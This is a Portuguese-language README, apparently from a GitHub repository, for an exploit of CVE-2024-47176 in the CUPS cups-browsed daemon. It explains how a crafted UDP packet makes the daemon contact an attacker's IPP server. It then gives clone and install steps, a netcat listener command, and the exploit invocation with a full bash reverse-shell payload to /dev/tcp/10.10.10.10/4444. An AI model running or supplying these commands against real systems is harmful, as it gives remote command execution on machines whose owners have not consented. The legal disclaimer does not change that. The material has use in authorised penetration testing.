CVE-2024-47176 — Execução Remota de Comandos no CUPS

Apenas para fins educacionais e testes de penetração autorizados.

Índice

• Descrição
• Sistemas Afetados
• CVEs Relacionadas
• Pré-requisitos
• Configuração
• Uso
• Aviso Legal

Descrição

O CUPS (Common UNIX Printing System) é um sistema de impressão de código aberto que gerencia impressoras em rede. O CVE-2024-47176 visa o daemon cups-browsed, que se liga a INADDR_ANY:631 e confia cegamente em pacotes de qualquer origem.

Ao criar um pacote UDP malicioso que aciona uma solicitação IPP Get-Printer-Attributes, um atacante pode fazer com que o cups-browsed se conecte a um servidor controlado pelo atacante — e, quando combinado com as vulnerabilidades abaixo, alcançar execução arbitrária de comandos remotos.

Sistemas Afetados

CVEs Relacionadas

Pré-requisitos

• Máquina alvo com porta 631 (IPP/UDP) exposta
• Python 3.x na sua máquina de ataque
• nmap (opcional, para reconhecimento)
• Um listener netcat para o shell reverso

Configuração

1. Clone o repositório:

git clone https://github.com/gumerzzzindo/cve-2024-47176.git
cd cve-2024-47176

2. Instale a dependência Python necessária:

pip install ippserver

3. Inicie um listener na sua máquina:

nc -lvnp <PORT>

Uso

./evilcups.py <ATTACKER_IP> <TARGET_IP> "<COMMAND>"

Exemplo — shell reverso:

./evilcups.py 10.10.10.10 10.10.11.40 "bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"

Após executar o exploit, acione um trabalho de impressão no alvo (ou aguarde uma verificação automática) para executar o payload.

Aviso Legal

Este repositório destina-se exclusivamente a fins educacionais e pesquisa de segurança autorizada. Usar esta ferramenta contra sistemas que você não possui ou para os quais não tem permissão explícita por escrito para testar é ilegal e antiético.